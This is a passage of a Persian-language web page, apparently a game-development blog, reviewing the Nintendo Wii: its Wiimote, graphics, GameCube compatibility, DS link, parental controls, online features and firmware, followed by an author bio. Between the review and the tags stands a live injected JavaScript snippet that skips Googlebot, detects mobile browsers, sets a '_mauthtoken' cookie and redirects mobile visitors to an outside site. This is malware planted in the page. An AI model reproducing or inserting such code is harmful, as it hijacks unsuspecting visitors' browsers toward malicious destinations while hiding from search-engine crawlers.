در Wiiبه وسیله‌ی لرزش‌های کوچک و سودمند Wiimote مشخص می‌شود.

Wiimote برای تشخیص موقعیت ریموت نسبت به تلویزیون از سنسورهای مادون قرمز استفاده می‌کند. مجموعه دیودهای مادون قرمز در Wiimote با میله گیرنده Wiiارتباط برقرار می‌کنند تا به عنوان یک اشاره‌گر برای ناوبری منوها و نشانه‌ی روی اسلحه در بازی‌های اول شخص اکشن عمل کنند. لازم به یادآوری ست که عادت کردن به این ریموت کمی زمان می‌برد. اما پس از عادت کردن به آن لذت وافری را تجربه خواهید کرد. البته این دسته‌ها به طور کامل نمی‌تواند جانشین ترکیب موس و کیبورد محبوب برای بازی‌های FPS شود. اما واقعیت این است که این ریموت در مقایسه با دسته‌های کنسول‌های رایج عمل‌کرد به‌تری دارد. حال آن که سیستم کنترل جدید، علاوه بر سرگرم بودن، مبتکرانه هم طراحی شده است. گاهی این اشاره‌گر حرکت‌های نامنظم یا ناگهانی دارد و برای تنظیم شیب دسته باید کمی ماهرانه‌تر عمل کرد. بخشی از این مشکل می‌تواند به منحنی یادگیری Wii برگردد.

قابلیت‌ها و توانایی‌های این ریموت به اندازه‌ی کافی تاثیر برانگیز است. یک پورت ابزاری نیز برای اتصال دیگر اتصالات به کار می‌رود.

از دیگر مشخصه‌های Nunchuk می‌توان به تجهیزات حسگر حرکتی اشاره کرد؛ قابلیت خوبی که برای مثال در بازی Twilight Princes یک حمله سریع چرخشی را به اجرا می‌گذارد. به احتمال زیاد Nunchuk را می‌توان عمومی‌ترین وسیله‌ی جانبی مورد استفاده در ریموت به شمار آورد که در آینده در دست‌رس تمام کاربران قرار خواهد کرد. در حال حاضر، دسته‌های کنسول مجازی تنها لوازم جانبی تایید شده به شمار می‌رود.

گیم پلی و گرافیک

توانایی Wii در استفاده از دسته‌ی حس‌گر حرکتی برای اجرای بازی‌های مخصوص Wiiبزرگ‌ترین و بارزترین مشخصه‌ی آن است. بازی‌های منتشر شده Wii، شامل بازی قابل پیش‌بینی Legend of Zelda: Twilight Princes و بازی Wii Sports به همراه عناوین متنوعی از بازی‌های سوم شخص است که برای استفاده از کنترل Wiimote اصلاح شده‌اند. اما اگر منتظر رسیدن عناوین جدید بیش‌تری از Wii هستید، بازی‌های دیگری در راه است. Wii با کنسول نسل پیشین خود یعنی Nintendo GameCube سازگار است. چهار پورت داخلی برای دسته‌های GameCube و دو شیار کارت حافظه نیز ارایه شده تا آن دسته بازیکنانی که می‌خواهند از بازی‌های نسل آخر خودشان نهایت لذت را ببرند نیز راضی باشند.

اگر بازی‌های GameCube و Wii کافی نیستند، می‌توانید با کنسول مجازی نینتندو کار کنید. این بازی‌ها را می‌توان از فروشگاه آنلاین نینتندو خریداری یا دانلود کرد. خرید بازی‌های کنسول مجازی ملزم به شناسایی شبکه Wii است. بنابراین، شما نمی‌توانید بازی‌های کنسول مجازی را به یک کارت SD منتقل یا روی کنسول Wii دوستتان بازی کنید. شایان ذکر است که بنا بر اظهارات نینتندو، به کاربر این امکان داده شده تا در صورت پاک یا نابود شدن اطلاعات بازی‌هایی که پیش از این دانلود شده‌اند، این بازی‌ها را به رایگان و مجددا دانلود کند. بازی‌ها با امتیازاتWii را می‌توان با کارت اعتباری یا کارت جایزه خریداری کرد. این سیستم در اصل همانند فروشگاه آنلاین Xbox مایکروسافت عمل می‌کند.

Wii تنها نمونه‌ی بارز از کنسول نسل بعدی شما نیست. N64 گرافیک قدرتمندی دارد، اما در مقایسه با Saturn و PSone ضعیف‌ بوده و قدرت GameCube نیز چیزی بین Xbox و PS2 قرار می‌گیرد. به هر حال، از نظر بصری نمیتوان Wiiرا با Xbox 360 و PlayStation 3 مقایسه کرد. حقیقت این است که بسیاری از توسعه‌دهندگان بازی، از GameCubeبا دسته‌ی کنترل از راه دور Wiiبرای توسعه‌ی اولین عناوین بازی‌های Wii استفاده کرده‌اند. قدرت Wii حدودا 2.5 برابر آخرین کنسول شرکت نینتندو یعنیGameCube ارزیابی می‌شود. بازی‌های متوسط هم خیلی خوب به نظر نمی‌رسند. بازی‌های متوسط بیش‌تر به بازی‌های ارتقایافته‌یGameCube شباهت دارند. با وجود کنسول‌های مختلفی که هر ساله پیشرفت‌های بصری بیش‌تری می‌کنند، زمان زیادی طول نخواهد کشید که تفاوت‌های گرافیکی خودش را بیش‌تر و بیش‌تر نشان دهد.

دسته‌ی Wiiبه شکلی سیار جدید و پیشرفته طراحی شده، اما قدرت پردازش آن این طور نیست. در این دستگاه از پردازش‌گر Nintendo GameCube استفاده می‌شود. در حالی که کنسول‌های سونی و مایکروسافت تصاویر 1080 پیکسلی با کیفیت بالا را پشتیبانی می‌کنند، Wii نیز مانند GameCubeتنها تا سقف 480 پیکسل را پشتیبانی می‌کند و حتی در آن حالت نیز نمی‌توان با کابل‌های A/V مرکب کار کرد.

قابلیت سازگاری با کنسول‌های نسل پیشین

کنسول Wii با کنسول نسل پیشین خود، یعنی مدل Nintendo GameCube و تمام نرم‌افزارها و بیش‌تر دستگاه‌های جانبی آن سازگار است. این سازگاری با مدل قدیمی‌تر، به کمک دیسک درایو نوری (که قادر به پذیرفتن دیسک‌های GameCube است)، مجموعه‌ای از چهار پورت دسته و دو شیار کارت حافظه‌ی GameCube محقق شده است. برای اجرای بازی‌های GameCube به یک دسته‌ی GameCube نیاز دارید و هیچ یک از دسته‌های Wii Remote یا دسته‌های کلاسیک توانایی انجام بازی‌های GameCube را ندارند. فراموش نکنید که برای ذخیره‌ی بازی به کارت حافظه‌ی GameCube نیاز دارید. چرا که حافظه‌ی فلاش داخلی Wii قادر به ذخیره‌ی بازی‌های GameCube نمی‌باشد.

اتصال به Nintendo DS

در دستگاه Wiiاز اتصال بی‌سیم به Nintendo DS پشتیبانی می‌شود. در شورای سیاست‌گذاری شرکت نینتندو در سال 2006میلادی شرح داده شد که DS از اتصال بی‌سیم خود برای ارتباط با کنسول بهره می‌برد و به لوازم اضافی دیگری نیاز نخواهید داشت. این اتصال به کاربران اجازه می‌دهد از کارکردهایی مثل میکروفن و صفحه‌ی لمسی DS به عنوان ورودی برای بازی‌های Wiiاستفاده کنند. بازی Pokémon Battle Revolution اولین بازی‌ای ست که در آن از اتصال DS-Wii نینتندو استفاده می‌شود. بازیکنان با الماس‌ها یا مرواریدهای Pokémon قادر به نبرد خواهند بود و می‌توانند از نینتندو DS به عنوان دسته استفاده کنند. هم‌چنین اعلام شده که نینتندو DS قادر به اجرای نمونه‌های نمایشی بازی قابل دانلود از کنسول Wiiمی‌باشد.

کنترل‌های والدین

یکی از ویژگی‌های این کنسول را می‌توان کنترل‌های والدین به شمار آورد. این مشخصه کاربران خردسال را از بازی با بازی‌های نامناسب نسبت به رده‌ی سنی آن‌ها منع می‌کند. هنگامی که کاربر می‌خواهد یکی از بازی‌های Wii یا کنسول مجازی را اجرا کند، دستگاه محتوای رمز شده و رده‌ بندی سنی را می‌خواند. اگر این رده بندی از سن تعیین شده بزرگ‌تر باشد، بازی بدون وارد کردن کلمه‌ی عبور لود نخواهد شد. به هر حال این ویژگی در مورد بازی‌های GameCube تاثیری ندارد.

دستگاه‌های اروپایی از سیستم درجه بندی PEGI استفاده می‌کنند، در حالی که دستگاه‌های آمریکای شمالی از سیستم درجه بندی ESRB بهره می‌برند. دستگاه Wii، سیستم درجه بندی بومی بیش‌تر کشورها را به انضمام سیستم درجه بندی CERO در ژاپن، USK در آلمان، هر دو سیستم PEGI و BBFC در انگلستان و OFLC در استرالیا و نیوزلند پشتیبانی می‌کند.

اتصال آنلاین

دستگاه Wiiمی‌تواند با استفاده از Wi-Fi و یک USB متصل به آدابتور اترنت به اینترنت متصل شود. هر دو روش فوق به بازیکن اجازه می‌دهد تا به سرویس Wi-Fi نینتندو دسترسی داشته باشد. نینتندو نیز مانند Nintendo DS، هزینه‌ای بابت بازی از طریق سرویس دریافت نمی‌کند. چگونگی اتصال بازیکنان با یکدیگر نیز توسط سیستم کد دوستان کنترل می‌شود. پیغام Wiiبرای مطلع کردن دوستانی ست که آی‌دی آنان در شبکه ثبت شده و اطلاعاتی را در مورد بازی خریداری شده به آن‌ها می‌دهد. هم‌چنین، به شما امکان داده شده با استفاده از شبکه‌ی بی‌سیم LAN دستگاه با سیستم‌های دیگر Wii ارتباط و اتصال برقرار کنید. به این ترتیب، قادر خواهید بود بازی‌های چند نفره‌ی بی‌سیم و محلی را در تلویزیون‌های مختلف اجرا کنید.

میان‌افزار 

میان‌افزار دستگاه Wii را باید هر چند مدت یک بار ارتقا داد. آخرین نگارش میان‌افزار این دستگاه نسخه‌ی 2.0 است. ارتقای این میان‌افزار برای استفاده از کانال‌هایی که احتیاج به دست‌رسی اینترنتی دارند بسیار ضروری می‌باشد. تمام این دستگاه‌ها با آخرین نگارش از میان‌افزاری عرضه شده‌اند. با اولین به روز رسانی میان‌افزار با استفاده از WiiConnect24 قسمت کوچکی از دستگاه غیر قابل استفاده می‌شود و این کاربران را مجبور می‌کند دستگاه‌شان را به کمپانی نینتندو ارسال کنند تا قسمت مربوط به ذخیره‌ی بازی‌ها تعمیر شود یا آن‌که قطعه‌ی آسیب دیده را با یک قطعه‌ی نو به صورت رایگان تعویض کنند. گزینه‌ی دوم زمان برگشت سریع‌تری دارد، اما خطر از بین رفتن اطلاعات ذخیره شده نیز وجود دارد.

نتیجه گیری

با تمام این توضیحات یک سوال کلی مطرح می‌شود و آن این است که آیا Wiiارزش خریدن دارد یا خیر؟ البته، همه چیز به نوع کاربری و نیاز شما بسته‌گی دارد و این‌که شما، در واقع دنبال چه چیزی هستید؟! اگر به دنبال یک جعبه‌ی چند رسانه‌ای همه‌منظوره با قابلیت‌های نسل بعدی و گرافیک خیره کننده‌ی HD هستید، Wii انتخاب خوبی نخواهد بود. اما نینتندو هرگز در این عرصه ادعایی نداشته است. Wii به طور مستقیم بر روی عرضه‌ی سرگرمی و گیم پلی‌های جدید تمرکز داشته است. بازی‌های تک نفره درWii، گذشته از دسته‌ی جدید آن، چندان تفاوتی با Xbox 360 و PS3 ندارند. با این حال Wiiچند چیز را به‌تر از Xbox 360 و PS3 انجام داده است: بازی‌های چند نفره برون‌خطی یا آفلاین و آسانی ملحق شدن به این بازی‌ها. بازی‌های چند نفره‌ی آفلاین یکی از مواردی است که Xbox 360 و PS3 توجه خاصی به آن نداشته‌اند. نظر می‌رسد مایکروسافت چنان تلاشی را بر روی Xbox Live انجام داده که بازی‌های چند نفره‌ی آفلاین را فراموش کرده باشد. این جا جایی است که نینتندو بر دو کنسول دیگر غلبه می‌کند. در حالی که بیش‌تر بازی‌های Xbox 360 نهایتا به دو بازیکن محدود می‌شود. به استثنای چند عنوان بازی‌های چهار نفره، دستگاه Wiiبا بازی‌های چند نفره‌ی آفلاین بسیار سرگرم‌کننده خواهد بود.

به شما امکان داده شده دوستان خود را برای بازی دعوت کنید و در قالب دو تیم تنیس یا بولینگ به صورت تیم‌های رو در رو بازی کنید. همه لحظات خوبی را خواهید داشت و مسابقه سرگرم‌کننده‌ای را برگزار خواهید کرد. بازی Super-Swing Golf نیز با دسته Wii Remote بسیار سرگرم کننده خواهد بود. در واقع شما فقط باید دسته را حرکت دهید و دسته بر اساس نحوه‌ی گرفتن آن، زاویه، سرعت حرکت آن و… کار می‌کند. Wii Sports یکی ازآسان‌ترین بازی‌ها ست. این یک بازی‌ ست که تمام مردم در هر گروه سنی می‌توانند در آن شرکت کنند. سخن این نیست که PS3 و Xbox 360 خانواده‌پسند نیستند، اما زمانی که خانواده‌ی شما به بازی می‌پیوندند و جزیی از بازیکنان می‌شوند آموختن بازی‌هایی مثل Gears of War یا Gran Turismo به آن‌ها تا حدی مشکل است. علاوه بر گیم پلی، دستگاه Wii دو ویژگی جدید خیلی خوب نیز دارد: یکی جستجوگر وب و دیگری کانال زنده‌ی پیش‌بینی وضع هوا. این دو ویژگی بسیار جدید هستند و در عین حال،‌ سودمند.

جستجوگر وب برای Wii Remote و نمایش‌گرهای تلویزیونی به شکل بسیار خوبی طراحی شده‌اند. کانال پیش‌بینی وضع هوا نیز برای مدتی سرگرم کننده خواهد بود. هر چند که شما فقط می‌توانید کره‌ی سه بعدی را که شبیه به کره‌ی زمین است به اطراف بچرخانید. بنابراین بیش‌تر مواقع گزارش‌های هواشناسی از مقصدهای تصادفی یا رندوم است. این ویژگی جدید برای آن لحظاتی ست که می‌خواهید وضعیت آب و هوا را در تلویزیون چک کرده، دوستان و خانواده‌ی خود را شگفت‌زده کنید. این بار نینتندو با کنسول Wiiکاملا حساب شده عمل کرده است. از آن جایی که Xbox 360 و PS3 کنسول‌هایی هستند که شما به تنهایی یا هنگام بازی کردن با افراد آنلاین از آن لذت می‌برید، Wii می‌تواند کنسول سرگرم کننده‌ای باشد که شما در کنار خانواده و دوستان خود از آن لذت خواهید برد.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

برچسب ها

ایمان شریعتی

سلام. اینجانب ایمان شریعتی، دانشجوی رشته نرم افزار؛ چند سالی هست که در عرصه های نرم افزارهای پیشرفته و بازی سازی مشغول هستم و از این سایت هدف بر این دارم که بهترین خدمات و موتورهای بازی سازی کشور را ارائه دهم. باما همراه باشید..

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

بستن
قالب وردپرس